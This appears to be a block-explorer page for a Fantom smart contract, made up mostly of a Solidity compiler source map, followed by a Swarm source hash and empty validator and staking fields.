62:23;;;:27;;;5808:24;;;:28;5375:475;5894:15;5870:21;;;:39;;;5939:1;5920:16;;;:20;5953:14;;;:32;6036:24;;6009:53;;6024:37;;:7;;:11;:37::i;6009:53::-;5996:10;:66;6101:8;10886:21;6086:23;6083:78;;;-1:-1:-1;10886:21:0;6083:78;6173:18;6194:31;6207:17;6215:8;6207:7;:17::i;:::-;6194:8;;:12;:31::i;:::-;6236:49;;6173:52;;-1:-1:-1;6252:10:0;;6236:49;;;;;6173:52;;6236:49;;;;6173:52;6252:10;6236:49;;;;;;;;;;;;;;;;;;;;-1:-1:-1;6318:19:0;;;;:35;;6342:10;6318:23;:35::i;:::-;6296:19;;;:57;6381:14;;:30;;6400:10;6381:18;:30::i;:::-;6364:14;:47;-1:-1:-1;;;;4922:1497:0:o;11026:211::-;11090:7;11110:16;11129:56;11157:27;11179:4;11157:21;:27::i;:::-;-1:-1:-1;;;;;11129:11:0;;;;;;:5;:11;;;;;:23;;;;:27;:56::i;:::-;11110:75;;11203:26;11220:8;11203:16;:26::i;:::-;11196:33;11026:211;-1:-1:-1;;;11026:211:0:o;16836:200::-;16923:5;;-1:-1:-1;;;;;16923:5:0;16909:10;:19;16901:47;;;;-1:-1:-1;;;16901:47:0;;;;;;;:::i;:::-;16976:2;16967:5;:11;;:27;;;;;16991:3;16982:5;:12;;16967:27;16959:36;;;;;;17006:14;:22;16836:200::o;16235:192::-;16325:5;;-1:-1:-1;;;;;16325:5:0;16311:10;:19;16303:47;;;;-1:-1:-1;;;16303:47:0;;;;;;;:::i;:::-;16378:2;16369:5;:11;;16361:20;;;;;;16392:19;:27;16235:192::o;17625:154::-;17707:5;;-1:-1:-1;;;;;17707:5:0;17693:10;:19;17685:46;;;;-1:-1:-1;;;17685:46:0;;;;;;;:::i;:::-;17756:10;:5;17764:2;17756:10;:::i;:::-;:15;;17769:2;17756:15;:::i;:::-;17742:11;:29;-1:-1:-1;17625:154:0:o;12319:132::-;12383:7;12409:34;12425:3;10886:21;12147:164;:::i;17992:203::-;18083:5;;-1:-1:-1;;;;;18083:5:0;18069:10;:19;18061:46;;;;-1:-1:-1;;;18061:46:0;;;;;;;:::i;:::-;18135:2;18126:5;:11;;18118:20;;;;;;18172:15;:5;18180:7;18172:15;:::i;:::-;18149:20;:38;-1:-1:-1;17992:203:0:o;11999:140::-;12059:7;12085:46;12100:4;12106:10;;12118:12;10886:21;;10818:97;17262:192;17348:5;;-1:-1:-1;;;;;17348:5:0;17334:10;:19;17326:47;;;;-1:-1:-1;;;17326:47:0;;;;;;;:::i;:::-;17401:2;17392:5;:11;;17384:20;;;;;;17431:10;:5;17439:2;17431:10;:::i;:::-;:15;;17444:2;17431:15;:::i;:::-;17415:13;:31;-1:-1:-1;17262:192:0:o;17044:210::-;17147:5;;-1:-1:-1;;;;;17147:5:0;17133:10;:19;17125:47;;;;-1:-1:-1;;;17125:47:0;;;;;;;:::i;:::-;17200:2;17191:5;:11;;17183:20;;;;;;17214:24;:32;17044:210::o;2790:152::-;2872:5;;-1:-1:-1;;;;;2872:5:0;2858:10;:19;2850:47;;;;-1:-1:-1;;;2850:47:0;;;;;;;:::i;:::-;2908:15;:26;;;;;;;-1:-1:-1;;2908:26:0;;;;;;;;;2790:152::o;12544:440::-;12602:7;;;12651:62;12667:6;12676:36;12667:6;12676:24;12667:6;10886:21;12676:12;:16;;:24::i;:::-;:28;;:36::i;12651:62::-;12630:83;;12724:14;12741:36;12756:20;;12741:10;:14;;:36;;;;:::i;:::-;12724:53;-1:-1:-1;12802:6:0;12788:11;12840:15;12802:6;12724:53;12840:7;:15::i;:::-;12819:36;;12866:22;12891:44;12916:10;12928:6;12891:24;:44::i;:::-;12953:6;;12866:69;;-1:-1:-1;12544:440:0;;-1:-1:-1;;;;;;12544:440:0:o;16645:183::-;16730:5;;-1:-1:-1;;;;;16730:5:0;16716:10;:19;16708:47;;;;-1:-1:-1;;;16708:47:0;;;;;;;:::i;:::-;16783:3;16774:5;:12;;16766:21;;;;;;16798:14;:22;16645:183::o;3412:191::-;3526:5;;3476:16;;-1:-1:-1;;;;;3526:5:0;3512:10;:19;3504:47;;;;-1:-1:-1;;;3504:47:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;;3576:19:0;;;;;:11;:19;;;;;;;;;3412:191::o;12992:174::-;13075:7;13101:57;13116:4;13121:10;;13133:24;13150:6;13133:12;10886:21;;10818:97;16435:202;16530:5;;-1:-1:-1;;;;;16530:5:0;16516:10;:19;16508:47;;;;-1:-1:-1;;;16508:47:0;;;;;;;:::i;:::-;16583:2;16574:5;:11;;16566:20;;;;;;16597:24;:32;16435:202::o;13664:412::-;-1:-1:-1;;;;;13799:10:0;;13728:7;13799:10;;;:5;:10;;;;;:20;;;13728:7;;13779:41;;:15;;:19;:41::i;:::-;13747:73;;13882:18;13903:39;13907:21;13930:11;;13903:3;:39::i;:::-;13882:60;;13953:21;13977:37;13981:20;;14003:10;13977:3;:37::i;:::-;-1:-1:-1;;;;;14050:10:0;;;;;;:5;:10;;;;;:17;;;13953:61;;-1:-1:-1;14032:36:0;;13953:61;;14032:17;:36::i;:::-;14025:43;13664:412;-1:-1:-1;;;;;13664:412:0:o;2950:179::-;3050:5;;-1:-1:-1;;;;;3050:5:0;3036:10;:19;3028:47;;;;-1:-1:-1;;;3028:47:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3086:19:0;;;;;;;;:11;:19;;;;;:35;;-1:-1:-1;;3086:35:0;;;;;;;;;;2950:179::o;8405:477::-;8484:3;;-1:-1:-1;;;;;8484:3:0;8470:10;:17;8462:45;;;;-1:-1:-1;;;8462:45:0;;;;;;;:::i;:::-;8544:10;8518:17;8538;;;:5;:17;;;;;;8587:64;8603:9;8614:36;:21;8603:9;8614:25;:36::i;8587:64::-;8681:16;;;;8566:85;;-1:-1:-1;8681:31:0;;8702:9;8681:20;:31::i;:::-;8662:16;;;:50;8745:19;;:34;;8769:9;8745:23;:34::i;:::-;8723:56;;8809:16;;;;:32;;8830:10;8809:20;:32::i;:::-;8790:16;;;:51;8852:22;8868:5;8852:15;:22::i;:::-;8451:431;;8405:477::o;8148:249::-;8211:15;;;;8206:184;;8255:5;;-1:-1:-1;;;;;8255:5:0;8241:10;:19;8237:144;;;8272:15;:22;;-1:-1:-1;;8272:22:0;8290:4;8272:22;;;8313:17;8325:4;8313:11;:17::i;:::-;8148:249;:::o;8237:144::-;8346:35;;-1:-1:-1;;;8346:35:0;;7340:2:1;8346:35:0;;;7322:21:1;7379:2;7359:18;;;7352:30;7418:27;7398:18;;;7391:55;7463:18;;8346:35:0;7138:349:1;15458:239:0;15549:5;;-1:-1:-1;;;;;15549:5:0;15535:10;:19;15527:47;;;;-1:-1:-1;;;15527:47:0;;;;;;;:::i;:::-;15602:6;15593:5;:15;;:34;;;;;15621:6;15612:5;:15;;15593:34;15585:43;;;;;;15661:20;:28;15458:239::o;18207:214::-;18308:5;;-1:-1:-1;;;;;18308:5:0;18294:10;:19;18286:47;;;;-1:-1:-1;;;18286:47:0;;;;;;;:::i;:::-;18361:2;18352:5;:11;;18344:20;;;;;;18375:30;:38;18207:214::o;3137:267::-;3253:5;;-1:-1:-1;;;;;3253:5:0;3239:10;:19;3231:47;;;;-1:-1:-1;;;3231:47:0;;;;;;;:::i;:::-;3293:9;3289:108;3308:17;;;3289:108;;;3372:13;3347:11;:22;3359:6;;3366:1;3359:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3347:22:0;;;;;;;;;;;;-1:-1:-1;3347:22:0;:38;;-1:-1:-1;;3347:38:0;;;;;;;;;;3327:3;;;;:::i;:::-;;;;3289:108;;18875:133;18933:7;;18961:5;18965:1;18961;:5;:::i;:::-;18949:17;;18985:1;18980;:6;;18973:14;;;;:::i;18756:113::-;18814:7;18842:1;18837;:6;;18830:14;;;;:::i;:::-;18858:5;18862:1;18858;:5;:::i;18638:112::-;18696:7;;18724:5;18728:1;18724;:5;:::i;18452:180::-;18510:7;18530:6;18526:37;;-1:-1:-1;18554:1:0;18547:8;;18526:37;18569:9;18581:5;18585:1;18581;:5;:::i;:::-;18569:17;-1:-1:-1;18609:1:0;18600:5;18604:1;18569:17;18600:5;:::i;:::-;:10;18593:18;;;;:::i;8986:416::-;9038:7;9057:11;9071:39;9093:16;;9071:17;9084:3;;9071:8;:12;;:17;;;;:::i;:39::-;9057:53;;9121:13;9137:39;9159:16;;9137:17;9150:3;;9137:8;:12;;:17;;;;:::i;:39::-;9187:4;;:18;;9121:55;;-1:-1:-1;;;;;;9187:4:0;;:18;;;;;9201:3;;9187:4;:18;:4;:18;9201:3;9187:4;:18;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9216:4:0;;:18;;-1:-1:-1;;;;;9216:4:0;;;;:18;;;;;9230:3;;9216:4;:18;:4;:18;9230:3;9216:4;:18;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9245:4:0;;:18;;-1:-1:-1;;;;;9245:4:0;;;;:18;;;;;9259:3;;9245:4;:18;:4;:18;9259:3;9245:4;:18;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9274:6:0;;:20;;-1:-1:-1;;;;;9274:6:0;;;;:20;;;;;9290:3;;9274:6;:20;:6;:20;9290:3;9274:6;:20;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9305:6:0;;:20;;-1:-1:-1;;;;;9305:6:0;;;;:20;;;;;9321:3;;9305:6;:20;:6;:20;9321:3;9305:6;:20;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9336:3:0;;:19;;-1:-1:-1;;;;;9336:3:0;;;;:19;;;;;9349:5;;9336:3;:19;:3;:19;9349:5;9336:3;:19;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9373:21:0;9383:10;:3;9391:1;9383:7;:10::i;:::-;9373:5;;:9;:21::i;14084:105::-;14141:7;14172:1;14168;:5;:13;;14180:1;14168:13;;;-1:-1:-1;14176:1:0;;14084:105;-1:-1:-1;14084:105:0:o;196:160:1:-;261:20;;317:13;;310:21;300:32;;290:60;;346:1;343;336:12;290:60;196:160;;;:::o;361:180::-;417:6;470:2;458:9;449:7;445:23;441:32;438:52;;;486:1;483;476:12;438:52;509:26;525:9;509:26;:::i;546:180::-;605:6;658:2;646:9;637:7;633:23;629:32;626:52;;;674:1;671;664:12;626:52;-1:-1:-1;697:23:1;;546:180;-1:-1:-1;546:180:1:o;731:316::-;808:6;816;824;877:2;865:9;856:7;852:23;848:32;845:52;;;893:1;890;883:12;845:52;-1:-1:-1;;916:23:1;;;986:2;971:18;;958:32;;-1:-1:-1;1037:2:1;1022:18;;;1009:32;;731:316;-1:-1:-1;731:316:1:o;1052:248::-;1120:6;1128;1181:2;1169:9;1160:7;1156:23;1152:32;1149:52;;;1197:1;1194;1187:12;1149:52;-1:-1:-1;;1220:23:1;;;1290:2;1275:18;;;1262:32;;-1:-1:-1;1052:248:1:o;1305:173::-;1373:20;;-1:-1:-1;;;;;1422:31:1;;1412:42;;1402:70;;1468:1;1465;1458:12;1483:186;1542:6;1595:2;1583:9;1574:7;1570:23;1566:32;1563:52;;;1611:1;1608;1601:12;1563:52;1634:29;1653:9;1634:29;:::i;2070:254::-;2138:6;2146;2199:2;2187:9;2178:7;2174:23;2170:32;2167:52;;;2215:1;2212;2205:12;2167:52;2238:29;2257:9;2238:29;:::i;:::-;2228:39;2314:2;2299:18;;;;2286:32;;-1:-1:-1;;;2070:254:1:o;3776:::-;3841:6;3849;3902:2;3890:9;3881:7;3877:23;3873:32;3870:52;;;3918:1;3915;3908:12;3870:52;3941:29;3960:9;3941:29;:::i;:::-;3931:39;;3989:35;4020:2;4009:9;4005:18;3989:35;:::i;:::-;3979:45;;3776:254;;;;;:::o;4035:689::-;4127:6;4135;4143;4196:2;4184:9;4175:7;4171:23;4167:32;4164:52;;;4212:1;4209;4202:12;4164:52;4252:9;4239:23;4281:18;4322:2;4314:6;4311:14;4308:34;;;4338:1;4335;4328:12;4308:34;4376:6;4365:9;4361:22;4351:32;;4421:7;4414:4;4410:2;4406:13;4402:27;4392:55;;4443:1;4440;4433:12;4392:55;4483:2;4470:16;4509:2;4501:6;4498:14;4495:34;;;4525:1;4522;4515:12;4495:34;4580:7;4573:4;4563:6;4560:1;4556:14;4552:2;4548:23;4544:34;4541:47;4538:67;;;4601:1;4598;4591:12;4538:67;4632:4;4624:13;;;;-1:-1:-1;4656:6:1;-1:-1:-1;4681:37:1;;4697:20;;;-1:-1:-1;4681:37:1;:::i;:::-;4671:47;;4035:689;;;;;:::o;4729:349::-;4931:2;4913:21;;;4970:2;4950:18;;;4943:30;5009:27;5004:2;4989:18;;4982:55;5069:2;5054:18;;4729:349::o;5083:339::-;5285:2;5267:21;;;5324:2;5304:18;;;5297:30;-1:-1:-1;;;5358:2:1;5343:18;;5336:45;5413:2;5398:18;;5083:339::o;5427:338::-;5629:2;5611:21;;;5668:2;5648:18;;;5641:30;-1:-1:-1;;;5702:2:1;5687:18;;5680:44;5756:2;5741:18;;5427:338::o;5770:127::-;5831:10;5826:3;5822:20;5819:1;5812:31;5862:4;5859:1;5852:15;5886:4;5883:1;5876:15;5902:168;5942:7;6008:1;6004;6000:6;5996:14;5993:1;5990:21;5985:1;5978:9;5971:17;5967:45;5964:71;;;6015:18;;:::i;:::-;-1:-1:-1;6055:9:1;;5902:168::o;7492:127::-;7553:10;7548:3;7544:20;7541:1;7534:31;7584:4;7581:1;7574:15;7608:4;7605:1;7598:15;7624:135;7663:3;-1:-1:-1;;7684:17:1;;7681:43;;;7704:18;;:::i;:::-;-1:-1:-1;7751:1:1;7740:13;;7624:135::o;7764:128::-;7804:3;7835:1;7831:6;7828:1;7825:13;7822:39;;;7841:18;;:::i;:::-;-1:-1:-1;7877:9:1;;7764:128::o;7897:127::-;7958:10;7953:3;7949:20;7946:1;7939:31;7989:4;7986:1;7979:15;8013:4;8010:1;8003:15;8029:125;8069:4;8097:1;8094;8091:8;8088:34;;;8102:18;;:::i;:::-;-1:-1:-1;8139:9:1;;8029:125::o;8159:217::-;8199:1;8225;8215:132;;8269:10;8264:3;8260:20;8257:1;8250:31;8304:4;8301:1;8294:15;8332:4;8329:1;8322:15;8215:132;-1:-1:-1;8361:9:1;;8159:217::o
Swarm Source
ipfs://2dbcd010d6068ff5b5863bc1889a4f9f71d877121deb702a8ece7b8623db065c
Age | Block | Fee Address | BC Fee Address | Voting Power | Jailed | Incoming |
---|
Validator ID :
0 FTM
Amount Staked
0
Amount Delegated
0
Staking Total
0
Staking Start Epoch
0
Staking Start Time
0
Proof of Importance
0
Origination Score
0
Validation Score
0
Active
0
Online
0
Downtime
0 s
Address | Amount | claimed Rewards | Created On Epoch | Created On |
---|
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.